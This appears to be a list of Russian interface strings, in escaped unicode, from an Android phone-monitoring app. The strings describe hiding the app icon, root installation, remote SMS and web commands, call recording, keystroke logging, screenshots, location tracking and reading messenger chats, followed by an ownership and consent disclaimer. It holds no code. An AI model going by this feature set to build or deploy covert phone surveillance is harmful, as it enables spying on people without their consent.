                    • \u0422\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043b\u0438 SIM \u043a\u0430\u0440\u0442\u0430, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043d\u043e\u0432\u0430
                    • \u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435!!!
                    • \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f GCM \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 GCM \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u043e \u0412\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 TCP. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043b\u0438 \u0432\u0445\u043e\u0434 \u0432 Google \u0441\u0435\u0440\u0432\u0438\u0441\u044b (Gmail,Market) \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443. \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0448\u0435\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043d\u0430\u0436\u043c\u0438\u0442\u0435 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0435 - \u0420\u0435\u0433\u0438\u0441\u0442\u0430\u0446\u0438\u044f GCM. GCM - \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 Google. TCP - \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043c\u0430\u043d\u0434. \u041e\u0431\u0430 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0437\u0430\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u043c\u0438.
                    • \u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u043f\u043e\u0434\u043e\u0436\u0434\u0438\u0442\u0435...
                    • \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u041e\u0411\u042f\u0417\u0410\u0422\u0415\u041b\u042c\u041d\u041e \u041f\u0415\u0420\u0415\u0417\u0410\u0413\u0420\u0423\u0417\u0418\u0422\u0415 \u0422\u0415\u041b\u0415\u0424\u041e\u041d!
                    • \u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 root \u043f\u0440\u0430\u0432\u0430 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u041f\u0440\u0438\u0432\u044f\u0437\u0430\u0442\u044c SIM \u043a\u0430\u0440\u0442\u0443
                    • Change language
                    • \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0432 GCM \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u043f\u0440\u043e\u0448\u043b\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0441 \u0441\u0430\u0439\u0442\u0430
                    • \u0421\u043a\u0440\u044b\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u041e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437 \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441 \u0441\u0430\u0439\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 - \"\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\" \u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u0437\u0432\u043e\u043d\u043e\u043a \u043d\u0430 \u043d\u043e\u043c\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0434\u0430\u0442\u044c,\u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043d\u0438\u0436\u0435).
                    • \u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f
                    • \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (Root)
                    • \u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435?
                    • \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d
                    • \u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u043d\u043e \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0438\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043d\u0435\u0432\u0435\u0440\u043d\u043e.
                    • \u041f\u0440\u0438 \u0443\u0434\u0430\u0447\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c?
                    • \u0414\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c SD \u043a\u0430\u0440\u0442\u0443
                    • \u0423 \u0432\u0430\u0441 \u0441\u0430\u043c\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f
                    • \u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b
                    • \u041c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435
                    • \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c GPS \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u044d\u043a\u0440\u0430\u043d\u0435
                    • \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u0437\u0430\u043a\u043e\u043d\u0443, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u0442\u044c \u043e \u0444\u0430\u043a\u0442\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430. \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0439\u0442\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u043e\u043d\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0432 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0435. \u0412\u0441\u044e \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0443\u044e \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043a\u043e\u043d\u0430 \u0412\u044b \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0435 \u043d\u0430 \u0441\u0435\u0431\u044f.
                    • SIM \u043a\u0430\u0440\u0442\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u0430
                    • \u0410\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445
                    • \u0421\u041c\u0421
                    • \u0422\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u0437\u0432\u043e\u043d\u043a\u0438 (\u0444\u0430\u043a\u0442 \u0437\u0432\u043e\u043d\u043a\u0430)
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0443,\u043a\u0430\u0436\u0434\u044b\u0435
                    • \u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b,\u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435?
                    • \u0414\u0430\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0442\u0435\u0441\u044c \u0441 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \n
                    • \u0412\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430
                    • \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435 (Root)
                    • \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f WhatsApp (Root)
                    • \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f Viber (Root)
                    • \u0417\u0430\u043f\u0438\u0441\u044c \u0441 \u043b\u0438\u043d\u0438\u0438, \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043b\u0443\u0447\u0448\u0435, \u0447\u0435\u043c \u0443 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430 (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0435\u0434\u0435\u0442\u0441\u044f \u0441 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430)
                    • \u0412\u0430\u0448 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432
                    • \u041a\u043e\u0434\u043e\u0432\u043e\u0435 \u0441\u043b\u043e\u0432\u043e \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0435\u0440\u0435\u0437 \u0421\u041c\u0421
                    • \u0424\u043e\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u043a\u0430\u043c\u0435\u0440\u0443
                    • \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435, \u0441\u0438\u0441\u0442\u0435\u043c\u0430(Android) \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u043d\u043e \u0432 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u0445. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f
                    • \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430
                    • \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f
                    • \u0414\u0440\u043e\u0431\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e:
                    • \u043c\u0438\u043d.
                    • \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u0441 \u044d\u043a\u0440\u0430\u043d\u0430 \u043f\u043e \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0443 (\u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0430\u0445,\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 5)
                    • \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u041e\u0434\u043d\u043e\u043a\u043b\u0430\u0441\u0441\u043d\u0438\u043a\u0438 (Root)
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u043d\u043e\u0435 \u0421\u041c\u0421 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0421\u041c\u0421 \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430
                    • \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043f\u043a\u0438 \u0434\u043b\u044f \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0444\u043e\u0442\u043e
                    • 24 \u0447\u0430\u0441\u0430
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM
                    • \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u044d\u043a\u0440\u0430\u043d\u0430
                    • \u0410\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044f \u043d\u0430\u0436\u0430\u0442\u0438\u0439 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b (\u041f\u0430\u0440\u043e\u043b\u0438 \u041d\u0415 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u0442!)
                    • \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e)
                    • \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430
                    • \u042f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u043b\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0432\u043e\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0438 \u044f \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u043e\u0433\u043e \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0434\u0443\u043c\u0430\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u043f\u0440\u0438\u043d\u0443\u0436\u0434\u0435\u043d\u0438\u044f
                    • \u042f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e\u0431 \u0443\u0433\u043e\u043b\u043e\u0432\u043d\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043d\u0435\u0433\u043b\u0430\u0441\u043d\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0442\u0440\u0435\u0442\u044c\u0438\u043c\u0438 \u043b\u0438\u0446\u0430\u043c\u0438
                    • \u042f \u043e\u0431\u044f\u0437\u0443\u044e\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0438\u0447\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445
                    • \u042f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u044f \u0441\u043e\u0433\u043b\u0430\u0448\u0430\u044e\u0441\u044c \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0443\u043d\u043a\u0442\u0430\u043c\u0438
                    • \u042f \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0445\u043e\u0447\u0443 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442
                    • \u041a\u0430\u043a \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f?
                    • \u0412\u0430\u0448 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438
                    • \u0415\u0441\u043b\u0438 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0412\u044b \u0432\u0438\u0434\u0438\u0442\u0435 \u0441\u0440\u0430\u0437\u0443 \u043e\u043a\u043d\u043e \u0432\u0445\u043e\u0434\u0430(\u0431\u0435\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f), \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0436\u0435 \u043a\u0435\u043c-\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0438 \u043e\u043d \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0443 \u043d\u0430\u0441 \u0432 